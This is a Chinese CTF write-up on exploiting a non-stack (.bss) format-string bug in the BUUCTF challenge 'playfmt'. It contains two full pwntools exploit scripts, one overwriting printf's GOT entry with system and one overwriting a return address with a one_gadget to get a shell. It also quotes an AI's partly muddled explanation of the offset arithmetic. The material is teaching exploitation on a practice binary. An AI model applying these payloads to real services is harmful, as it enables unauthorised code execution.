本文最后更新于 2024年10月9日 上午
非栈上的格式化字符串漏洞-bss段
方法一:修改printf为system,输入/bin/sh
这种方法会有点复杂
以buu上的hitcontraining_playfmt为例


没有开FULL RELRO,也就是说got表可改,那么我们的思路就是把printf的got表改成system,输入/bin/sh即可拿到shell
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
r = process("./playfmt")
elf = ELF("./playfmt") libc = ELF('./libc-2.23.so') printf_got = 0x0804A010 old_addr = 0x0804B080
context.log_level = 'debug' DEBUG = 0 '''if DEBUG: gdb.attach(r, b *0x0804854F c )'''
r.recvuntil("=====================\n") r.recvuntil("=====================\n") payload = "%6$p\n%15$p" r.sendline(payload) rbp = int(r.recvuntil('\n').strip(), 16) success("rbp:"+hex(rbp)) start_main = int(r.recvuntil('\n').strip(), 16) - 247 libc.address = start_main - libc.sym['__libc_start_main'] system = libc.sym['system'] success("libc:"+hex(libc.address)) print(hex(system)) raw_input() got_addr = rbp - 4 num = got_addr & 0xFF payload = '%' + str(num) + 'c%6$hhn' r.sendline(payload)
raw_input() num = (printf_got)& 0xFF payload = '%' + str(num) + 'c%10$hhn' r.sendline(payload)
raw_input() got_addr = rbp - 8 - 4 num = got_addr&0xFF payload = '%' + str(num) + 'c%6$hhn' r.sendline(payload)
raw_input() num = (printf_got+2) & 0xFFFF payload = '%' + str(num) + 'c%10$hn' r.sendline(payload)
raw_input() num1 = system&0xFFFF num2 = (system>>16)-num1 print(hex(num1), ',', hex(num2)) payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn' r.sendline(payload)
'''raw_input()
payload='%' + str(num2) + 'c%7$hn' r.sendline(payload)'''
raw_input() payload = "/bin/sh" r.sendline(payload)
r.interactive()
|
把libc地址抓进栈中
1 2 3 4 5
| raw_input() got_addr = rbp - 4 num = got_addr & 0xFF payload = '%' + str(num) + 'c%6$hhn' r.sendline(payload)
|



因为libc的地址只有低8位不同,通过写入低字节把printf_got抓到栈中
1 2 3 4
| raw_input() num = (printf_got)& 0xFF payload = '%' + str(num) + 'c%10$hhn' r.sendline(payload)
|

把print_got+2抓入栈中(把print_got改成system要一半一半的改)
1 2 3 4
| raw_input() num = (printf_got+2) & 0xFFFF payload = '%' + str(num) + 'c%10$hn' r.sendline(payload)
|

把printf_got改成system
1 2 3 4 5 6
| raw_input() num1 = system&0xFFFF num2 = (system>>16)-num1 print(hex(num1), ',', hex(num2)) payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn' r.sendline(payload)
|

这里num2为什么要减去num1,且看AI怎么说:
num2
是计算用来进行格式字符串漏洞利用时的一个重要部分。具体来说,num2 = (system >> 16) - num1
旨在算出在利用 printf
的格式字符串时需要写入的第二个16位数。
让我们逐步分析代码中为什么会有这样的操作:
狙击的目标: 该代码段的目标是将 system
的地址写入到某个特定的内存位置(例如 GOT 中的某个函数地址),使得在后续调用该函数时能够执行 system("/bin/sh")
,从而获得一个 shell。
16位数分解: 在 x86 系统中,指针通常是 32 位的。如果我们想把一个 32 位的地址(例如 system
的地址)分成两个部分,即高 16 位和低 16 位:
num1
是 system
地址的低 16 位(通过 num = system & 0xFFFF
获取)。
num2
是 system
地址的高 16 位(通过 (system >> 16) - num1
计算得到)。
这里的操作 (system >> 16)
将地址右移 16 位,从而取出高 16 位。然后通过减去 num1
,我们得到需要加到低 16 位后面以达到完整地址的偏移量。
格式化字符串参数: 在格式字符串攻击中,%hn
写入 16 位的数值到一个指定的内存地址。因此,你需要两个写操作:
- 第一次写操作用
num1
(低 16 位)。
- 第二次写操作则将
num2
写入到目标地址的高 16 位。
执行顺序: 在这种方式控制内存写入时,确保正确顺序非常重要,因为低 16 位和高 16 位分别会被修改,因此需要正确的偏移才能将 system
的完整地址写入目标位置。
总结起来,num2
的计算是通过右移和减去 num1
获取的为了将 system
地址的高 16 位正确写入目的地。这种技术是利用格式字符串漏洞进行精准内存操作的重要手段。
注意:这里因为是在play函数里面改的,系统已经会按照代码继续执行,所以改掉返回地址也没有关系,不要误认为是通过printf_got+2来执行的
方法二:修改返回地址为oneget来getshell
先放exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import*
io=remote('node5.buuoj.cn','27461') context(arch='i386',os='linux',log_level='debug') libc=ELF('./libc-2.23.so') def fmt(a): io.send(a)
io.recvuntil("=====================\n") io.recvuntil("=====================\n") payload = "%6$p\n%15$p" io.sendline(payload) rbp = int(io.recvuntil('\n').strip(), 16) success("rbp:"+hex(rbp)) start_main = int(io.recvuntil('\n').strip(), 16) - 247 libc.address = start_main - libc.sym['__libc_start_main'] system = libc.sym['system'] success("libc:"+hex(libc.address)) print(hex(system)) one=p32(libc.address+0x3a80c) ret=rbp-8-4 num=(rbp-12)&0xff payload="%"+str(num)+"c%6$hhn\0" fmt(payload) for i in range(4): raw_input() payload="%"+str(num+i)+"c%6$hhn\0" fmt(payload) raw_input() payload="%"+str(one[i])+"c%10$hhn\0" fmt(payload) fmt('quit') io.interactive()
|
gdb调试可以看到返回地址是play函数

如果我们能把它改成onegadget,我们就能getshell

可以看到已经更改
onegadget用工具在libc文件寻找